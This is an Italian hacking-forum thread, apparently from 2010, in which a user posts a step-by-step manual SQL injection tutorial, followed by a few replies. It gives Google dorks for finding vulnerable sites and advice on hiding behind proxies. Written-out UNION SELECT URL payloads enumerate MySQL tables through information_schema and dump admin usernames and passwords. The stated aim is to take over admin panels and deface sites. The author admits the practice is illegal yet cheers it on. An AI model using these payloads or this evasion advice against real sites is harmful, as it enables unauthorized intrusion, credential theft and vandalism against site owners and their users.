• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

Guida Blind Structured Query Lenguage Injection / BSQLi + BSQLi nelle pagine .aspx

devil401

Utente Medio
Autore del topic
11 Luglio 2009
236
0
Miglior risposta
0
-> Introduction post
Written by devil401 25/06/2010 17.54(Start)-18.12(Stop) Copyright devil401 2009-2010


né io né il forum ci prendiamo responsabilità,questa guida è stata creata per solo scopo informativo.

QUESTA GUIDA NON DEVE USCIRE DA QUESTO FORUM SENZA CHE VOI METTIATE I CREDITI,OVVERO SE DOVETE DIFFONDERE QUESTA GUIDA DOVETE AGGIUNGERE ALLA FINE "Guida scritta da devil401 su italiancheats.com".CHIUNQUE VERRà SORPRESO AD AVER COPIATO LA MIA GUIDA E DIFFUSA SU INTERNET SARà PENALMENTE PERSEGUIBILE.

Avete letto bene cosa ho scritto?xk se vi trovo con la MIA guida senza i MIEI crediti e del FORUM ITALIANCHEATS vi spezzo in 2.

Questa guida verrà suddivisa nei seguenti capitoli,ogni capitolo avrà un post(anche sub-capitolo):

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
:Cos'è l'SQL Injection
::Come funziona esattamente
:::Come trovare un sito vulnerabile
::::Usare la rispettiva protezione(proxy)
1. Cos'è un proxy
2. Come funziona un proxy
3. Tipi di proxy
:::::Come procedere con l'SQL Injection:
1. Trovare il numero delle colonne
2. Trovare la colonna vulnerabile e la versione del DB
3. Problemi nella rivelazione della versione del DB
4. Versione del database(int. ::::::,:::::::|)
::::::Versione del database 5.x.x.x
1. La versione 5.x.x.x del DB
2. Procedimenti - Ottenere le colonne
3. Procedimenti - Ottenere le colonne dalle tavole
4. Procedimenti - Finalizzazione
:::::::Versione del database 4.x.x.x
1. La versione 4.x.x.x del DB
2. Procedimenti - Ottenere le colonne
3. Procedimenti - Ottenere le colonne dalle tavole
4. Procedimenti - Finalizzazione
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


Man mano che ho tempo scrivo 1 capitolo e ve lo posto,quando avrete problemi con l'SQL Injection o non capite qualcosa:
se non ho finito di scrivere la guida,allora,scrivete un PM,altrimenti,quando ho finito la guida potete scrivere dei post,questo è per evitare il disordine dei post e dei capitoli,i capitoli devono essere l'uno in fila all'altro


NON FACCIO LEZIONI PRIVATE E NON STATE A PREGARMI "ti prego,insegnami..." "ti prego hackami..." FATE DA SOLI CON QUESTA GUIDA E IL VOSTRO CERVELLO

grazie :o

Written by devil401 25/06/2010 18.14(Start)-18.51(Stop) Copyright devil401 2009-2010

{POST INFO TERMINATED}


:Cos'è l'SQL Injection
1. Come funziona esattamente



L'SQL Injection è uno dei metodi più usati al mondo in questo periodo dagli hackers per penetrare nel database MySQL {
Perfavore, Entra oppure Registrati per vedere i Link!
}.
Usando gli errori basati sulle queries si possono estrarre le informazioni(Usernames,Passwords,Emails...) da un sito vulnerabile.
L'insieme delle informazioni si chiama Database.

Advice:
Esistono vari programmi programmati dagli artisti dell'SQLi che permettono l'SQLi automatizzata,per esperienza personale vi avverto che essi sono usati per bindare (unire 2 files) i loro virus (specialmente RATs).
Inoltre,la capacità manuale anche se è un poco più lenta è più agevole in quanto vi permette di trovare colonne e tavole manualmente,ed è anche più emozionante.
Il problema della lentezza è risolvibile man mano che prenderete esperienza.
Se ne avete una versione pulita,potreste usarla quando non riuscite proprio a trovare le colonne e le tavole...



2. Come trovare un sito vulnerabile

Esistono 2 metodi per trovare siti vulnerabili:
Dorks & Manual Detection

Dorks

I Dorks sono una specie di bugs che servono per trovare un sito vulnerabile specifico,esistono vari programmi per cercarli e vi consiglio di prenderne uno,essi sono importanti per l'SQLi,perché,altrimenti,non trovereste velocemente qualche sito vulnerabile.
Esempio di un Dork:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
Essi vengono usati su google,esso,essendo un motore di ricerca,dandogli questi criteri di ricerca,eseguirà uno scan di tutte le pagine internet indicate dal Dork.
In questo caso vengono cercate tutte le pagine sotto la sezione /admin/.

Ecco un esempio di Dork hack che ho appena terminato:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
è la lista dei dati di accesso al server tramite FTP.
Facile no?
Ma per adesso non fate niente!

Manual Detection

per il manual detection è facilissimo!!!

prendete un URL di un sito che volete SQLi.

lasua struttura è questa:

Perfavore, Entra oppure Registrati per vedere i Link!


allora mettete ' alla fine:

Perfavore, Entra oppure Registrati per vedere i Link!
'

e caricate la pagina,se mancano scripts,immagini,testo ec... o viene visualizzato un errore SQL (Tipico errore è il fetch_array) allora è vulnerabile

Esempio:

Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

Mi raccomando non fate ancora niente!



Se non ci avete capito niente perché sono io che ho scritto male,avvertitemi,cercherò di correggere qualcosa.
Se non ci avete capito niente perché siete voi,allora è perché non avete le basi necessarie e lasciate stare questa guida fino a quando non sapete qualcosa che vi faccia capire tutto.

ATTENZIONE:
Questo è quello che le persone chiamano hacking.
è vero e proprio hacking questo,non fatevi ingannare dalle imitazioni,i cheat non ti rendono hacker,piuttosto,lamers.
è ILLEGALE praticare l'SQLi quindi,se non sapete cosa state facendo,o non volete correre rischi,lasciate stare!

raccomanda la guida per i 16+


Dork list(per SQLi):
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

Written by devil401 25/06/2010 Copyright devil401 2009-2010

{POST INFO TERMINATED}


::::Usare la rispettiva protezione(proxy)
1. Cos'è un proxy
2. Come funziona un proxy
3. Tipi di proxy

Il proxy è un metodo per non farsi mai riconoscere su internet.
l'IP(Internet Protocol) è una serie di numeri es: 192.168.1.1.1
che determina nome,cognome,via,CAP,numero di telefono e ZIP dell'utente.
In poche parole è la carta d'identità su internet.
Eseguire operazioni illegali,in siti dove registrano le entrate degli IP(tutti) e le loro azioni sul sito permettono di rintracciarvi e mandarvi la polizia per casa.
Come facciamo a non farci sgamare?usando un proxy.

Una connessione normale eseguirebbe questo procedimento per la comunicazione client-server

client(voi)->server(sito)->client

tra la comunicazione e il server ci sono altri processi tra cui il ricevimento dei cookie,cache e le tracce dei java script ma per il nostro processo è trascurabile.

il proxy farà in questo modo

Client -> proxy -> server -> proxy ->client
nascondendo il vostro IP o cambiandolo.

i proxy sono di 2 tipi:
HTTP proxy(web)(anonimo,trasparente,elite)
VNC Proxy(all)(anonimo,trasparente,elite)

l'http proxy è quello che useremo,esso nasconde il vostro IP solo sul web.
il VNC proxy nasconde il vostro IP in TUTTE le applicazione che avete,sarete una nuova persona in poche parole.

i gradi anonimo,trasparente,elite sono tipi di proxy che garantiscono un livello di anonimità diversa:
anonimo - cambia solamente il vostro IP
trasparente - cambia il vostro IP e cerca di nascondervi con le comunicazioni col server
elite - siete completamente nascosti,difficilissimo trovarvi nel web,IP totalmente diverso.

i proxy rallentano la velocità del trasferimento dati (lagg).

Written by devil401 25/06/2010 Copyright devil401 2009-2010

:::::Come procedere con l'SQL Injection:
1. Trovare il numero delle colonne
2. Trovare la colonna vulnerabile e la versione del DB

ripeto che chiunque non volesse andare contro la legge o non volesse rischiare niente,oppure non ne capisce niente di queste cose può lasciar perdere,non dovete conoscere l'SQL Injection per forza,sarebbe troppo difficile e rischioso

ok,rocediamo nell'SQLi

dopo aver trovato un sito vulnerabile usiamo un proxy prima di tutto,io uso sempre
Perfavore, Entra oppure Registrati per vedere i Link!
,veloce,affidabile,ottima qualità e sopratutto gratuito.

bene,ora che abbiamo il nostro sito vulnerabile con questa struttura:

wxw.yousite.com/newreply.php?=18'
o come lo avete

togliamo ' :
wxw.yousite.com/newreply.php?=18

e cominciamo a trovare il numero delle colonne:

qui usiamo il comando order by,ovvero ordina dalla colonna *numero*

capirlo è facile:

wxw.yousite.com/newreply.php?=-18 order by 1 < NO ERRORE
wxw.yousite.com/newreply.php?=-18 order by 2 < NO ERRORE
wxw.yousite.com/newreply.php?=-18 order by 3 < NO ERRORE
wxw.yousite.com/newreply.php?=-18 order by 4 < ERRORE

eccellente,quindi se alla colonna 4 mi da errore significa che ho 3 colonne

faccio notare che il numero delle colonne può essere molto alto,facebook ha ben 52 colonne...ve lo dico perché ho provato ad SQLi,infatti ho trovato un URL vulnerabile.

bene,ora troviamo la/le colonne vulnerabile/i

possono essere varie colonne vulnerabili,ma non ha importanza.

scriviamo questo:

wxw.yousite.com/newreply.php?=-18 union select 1,2,3

in questo modo selezioniamo le colonne,e ci dirà quali possiamo modificare a nostro piacere

nella pagina ci indicherà i numeri in questo modo:

2
3

o solo

2


esempio pratico:
2v9c486.png

quindi alla colonna (una delle...)vulnerabile scriveremo,se mi è capitato 2


wxw.yousite.com/newreply.php?=-18 union select 1,@@version,3

e quindi otterremo la versione del DB:

vq34o6.png




EDIT:
Girovagando su internet specificatamente in alcuni forums italiani,sono rimasto LETTERALMENTE deluso dalla nostra organizzazione riguardo hackers vs lamers,qua praticamente ci sono SOLO lamers(qua,non nel forum,ma in italia) cioè,ho visto che hanno dato il link dell'SQLi prefabbricata per le versioni 5.x.x.x e praticamente nessuno sapeva cosa scriveva,lo faceva e basta modificando solo l'indirizzo del sito.
Vi dico solo che se non sapete cosa scrivete riskiate,perché non sapete a volte se è legale o no...e quindi non usate un proxy e vi fate sgamare subito!
Vi prego non fate queste cavolate,xk mi faresti abbastanza skifo...limitatevi a IMPARARE,cosi potete essere fieri di definirvi hackers in campo SQLi!
il livello "lamer" nel mondo del web underground è il livello più basso che ci sia,è il nome dato per l'umiliazione di colui che usa cose prefabbricate senza sapere nemmeno cosa fa!
L'SQLi imparata è emozionante,sapere che il webmaster si è accorto della tua presenza nel suo DB MySQL è emozionante,perché lui combatte pe sgamarti nel proxy e tu combatti per sbrigarti a trovare i suoi dati d'accesso prima che ti sgama,per me è emozionante,mi toglie il fiato a farlo.
Non fate i lamer,fatemi capire che l'italia non è un paese del tutto skifoso...


Written by devil401 26/06/2010 copyright devil401 2009-2010

{POST INFO TERMINATED}


3. Problemi nella rivelazione della versione del DB
4. Versione del database(int. ::::::,:::::::|)

Problemi nella rivelazione della versione del DB

Se tornate alla pagina d'errore allora significa che il DB è stato maskerato o cryptato,niente paura è facile risolvere questo problema!

invece di scrivere solo @@version scriveremo

convert(@@version using latin1)

wxw.yousite.com/newreply.php?=-18 union select 1,convert(@@version using latin1),3

se la pagina continua a non farvi vedere la versione del DB significa che è stata cryptata in HEX

quindi scriveremo unhex(hex(@@version))

wxw.yousite.com/newreply.php?=-18 union select 1,unhex(hex(@@version)),3

ora deve darvi per forza la versione del DB,in caso contrario,significa che è stata cryptata in altri modi,ancora da decryptare,quindi passerete al prossimo sito :emoji_slight_smile:

Versione del database


Esistono 2 versioni vulnerabili all'SQLi standard (esiste anche la Blind SQL Injection)

versione DB 4.x.x.x
versione DB 5.x.x.x

Le 2 versioni hanno metodi differenti basati sullo stesso principio.

Written by devil401 26/06/2010 copyright devil401 2009-2010

{POST INFO TERMINATED}


SE VUOI SEGUIRE LA GUIDA ANCHE IN PRATICA USA IL PROXY!

::::::Versione del database 5.x.x.x
1. La versione 5.x.x.x del DB
2. Procedimenti - Ottenere le colonne


La versione 5.x.x.xdel DB(DataBase) è la più facile da SQLi visto che contiene 2 cose importanti:
information_schema.tables e information_schema.columns

sono 2 files che fanno da lista sia per le tavole sia per le colonne,quindi noi dovremo semplicemente accedere ai 2 files,cosa facilissima!

avendo il seguente link:

wxw.yousite.com/newreply.php?=-18 union select 1,@@version,3
e ci compare che la tavola 2 è la versione 5 allora siamo a cavallo

scriviamo:
wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(table_name),3 from information_schema.tables

usiamo il comando group_concat() che estrae e raggiuppa l'oggetto tra le parentesi,ovvero table_name che invece è il nome che rappresenta tutte le tavole presenti.
Ma questo comando presenterà tutte la tavole,ma non sempre quelle che cerchiamo noi,ovvero quelle dove sono scritti i dati di accesso!(users,admins,admin,customers,customer...)

quindi filtriamo le tavole per la ricerca di quelle del DB

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

ecco,in questo modo filtriamo le tavole a quelle contenute SOLO nel database.
Se le tavole che cerchiamo,ovvero quelle che ho messo tra parentesi prima,non ci sono,allora torniamo a tutte le colonne (wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(table_name),3 from information_schema.tables)


e troviamole(consiglio sempre di scrivervele).

Ora dobbiamo estrarre le colonne,quindi usiamo questo metodo uguale alle tavole,ma per le colonne:

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=char(x)

ottimo,questo metodo è diverso,molti siti per maskerare le colonne dalle tavole encryptano le tavole,noi allora le cerchiamo cryptate,in ASCII

per cryptare in ASCII andate
Perfavore, Entra oppure Registrati per vedere i Link!


quindi prendete la tavola che dovete estrarre (per esempio "admins",se l'avete trovata)

admins in ASCII è
33f3ndv.png


ok,quindi dobbiamo eliminare & # e sostiuire ; in ,

quindi 97,100,109,105,110,115,.
eliminiamo l'ultima virgola = 97,100,109,105,110,115

bene,quindi al posto della x mettiamo il codice ASCII(che io per esempio ho usato admins) 97,100,109,105,110,115

{Guarda la fine della pagina per un tool aggiuntivo}

quindi il link diventerà:

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=char(97,100,109,105,110,115)

bene ora estriamo tutte le colonne!!!
trovate le colonne username,password o qualcosa di simile,all'interno ci sono i dati di accesso,ma prima di sapere come estrarli vi devo dire come ;) mi raccomando usate sempre i proxy

{ADDITIONAL TOOLS}

ASCII SQLi Adapter {99,0 Kb}

Programma creato per me,elimina automaticamente le & # e sostituiscono le ; in , automaticamente

v81ul3.png


se lo volete inviatemi un PM con la richiesta e vi do il link per il download

Written by devil401 26/06/2010 copyright devil401 2009-2010

{POST INFO TERMINATED}

USATE UN PROXY

4. Procedimenti - Finalizzazione


Ora,la parte finale per estrarre i dati di accesso dalle colonne
avendo questo link

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(column_name),3 from information_schema.tables where table_name=char(ASCIIHASH)

nota: ASCIIHASH è la tavola cryptata in ASCII


quindi adesso estriamo le colonne che avete trovato:

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(colonna1,0x3a,colonna2),3 from [nome tavola]

sostitute colonna1 e colonna2 con le colonne che volete estrarre e nome tavola col nome della tavola

esempio:
la tavola che avevo trovato era admins,e ho trovato le seguenti colonne:
name,suername,email,age,username,password

ottimo,a me interessano i dati di accesso all'admin,e quindi al pannello di controrlo per poi defacciarlo :emoji_smiley:

quindi username e password:

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(username,0x3a,password),3 from admins

quindi ho estratto i dati di accesso all'admin panel!

attenzione: la tavola in questo caso non va cryptata in ASCII

prossimo thread sarà come trovare l'admin page e come decryptare le passwords,al momento dovrete pazientare

Written by devil401 30/06/2010 copyright devil401 2009-2010

{POST INFO TERMINATED}

USATE UN PROXY

:::::::Versione del database 4.x.x.x
1. La versione 4.x.x.x del DB
2. Procedimenti - Ottenere le colonne

La versione 4 del DB è semplice,ma è più lunga e noiosa,questa volta il information_schema non ci sarà.
bisognera provare in continuazione tutte le tavole possibili (usate la lista che ho postato tempo fa)
quindi fate in questo modo:

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(column_name),3 from admin < ERRORE

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(column_name),3 from admins <ERRORE

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(column_name),3 from users < NON ERRORE

bene,quindi adesso abbiamo le colonne,e quindi procederete allo stesso modo della versione 5 cioè il dump:

wxw.yousite.com/newreply.php?=-18 union select 1,group_concat(colonna1,0x3a,colonna2),3 from users

FINE DELLA GUIDA ore 12.43

============================================

Questa volta vi spiego come fare una BSQLi (Blind Structured Query Lenguage Injection)
in un sito che ha una pagina in estensione .aspx,per esempio utilizzeremo questa pagina vulnerabile qui:

Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
(Ho notato che la pagina non funzione più,ma la vulnerabilità è ancora utilizzabile)

UTILIZZATE UN PROXY SE VOLETE PROVARE

VI CONSIGLIO VIVAMENTE DI LEGGERE L'ALTRO TUTORIAL CHE SCRISSI SULLA SQLi PER PRENDERE FAMILIARITà E CONSAPEVOLEZZA IN QUELLO CHE STATE FACENDO

bene...vediamo di cominciare... :emoji_slight_smile:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
oh no,dice che la pagina non esiste,quindi proviamo tramite questo percorso
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

Ma guarda...ecco la vulnerabilità!
Troviamo le tavole,aggiungendo un termine diverso da quello che usavamo nella BSQLi precedentemente spiegata: having 1=1
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

LA TERMINOLOGIA QUI CAMBIA COMPLETAMENTE

vi dovrebbe compatire la lista delle colonne:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

queste sono tutte le colonne che abbiamo a disposizione,ma a noi interessa le 2 colonne dove ci sono le informazioni dell'admin :icon9:

allora troviamo le tavole che abbiamo a disposizione:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
notate quanto è simile alla BSQLi che avevamo spiegato tempo fa,solo che cambia la terminologia(difficile da ricordare,se non si sa cosa si scrive,ma facile da eseguire)

quella è la prima tavola del database.ma non è quella dell'admin! :emoji_slight_frown:
allora cerchiamo la 2^
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
notate il not in,in questo modo la query indica di darci il nome della prossima tavola CHE NON SI CHIAMA in quel modo,quindi noi avremo il nome della 2^ tavola nel database

"AdminMaster" eccola!!
quindi ora estraiamo le colonne all'interno!
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

nome della prima colonna,ovvero l'username dell'admin

Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

nome della seconda colonna,ovvero la psw dell'admin

Quindi le colonne a nostra dispozione,che ci interessano sono:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

allora adesso non ci rimane che estrarre le righe (dati all'interno delle colonne)

Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
questo è il nome: admin
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!

e questa è la password...

Fine

Tutorial scritto da d3v1l401(devil401)
copyright devil401 2009-2010
non copiare questa guida senza scrivere i crediti,altrimenti non posto + queste guide


Le scrissi io tempo fa su IC
non copiatele senza scrivere i crediti ovvero:
l'autore e il sito a cui è stato dedicato (italiancheats.com)
mi dispiace per i links esterni ma cosi ho stabilito nelle condizioni.

I vari tools di mia creazione sono andati persi

Forse qualcosa l'ho sbagliata ( sicuramente nella parte teorica ),in tal caso correggetemi
 
Riferimento: Blind Structured Query Lenguage Injection / BSQLi + BSQLi nelle pagine .aspx

ottima guida.... domani finirò di leggerla...
però già dall'inizio è fatta molto bene ....
a parte consigliata a + 16 -.-
 
Riferimento: Blind Structured Query Lenguage Injection / BSQLi + BSQLi nelle pagine .aspx

Capisco la tua previdenza contro chi rippa le guide
altrui, ma di sicuro ti capiterà prima o poi di beccare
qualcuno che te l' ha copiata. Quando ti capiterà
(se ti capiterà), non arrabbiarti troppo, capita a tutti
(è capitato a me con la mia guida del zip password
cracker e anche con altre, e le spacciavano addirittura
per loro).
 
Riferimento: Blind Structured Query Lenguage Injection / BSQLi + BSQLi nelle pagine .aspx

in quel caso vanno contro la legge,non ho problemi ad andare dai carabinieri,stanno sotto casa mia...
 
Riferimento: Blind Structured Query Lenguage Injection / BSQLi + BSQLi nelle pagine .aspx

Ottima guida Questa e quella anti lamer anche perche non penso che hanno compreso
Poi posta pure automatico
Con SQL I Helper 2.7
 
Riferimento: Blind Structured Query Lenguage Injection / BSQLi + BSQLi nelle pagine .aspx

havij,SQLi Helper,Auto-SQLi

sono tools che spessono vengono bindati con trojans FUDdati.
Rischiano di brutto


oppure si imparano a memoria quelle 4 frasette che estraggono dati dalle tabelle,ma senza sapere cosa fanno...la cosa mi da fastidio xk poi se la tirano pure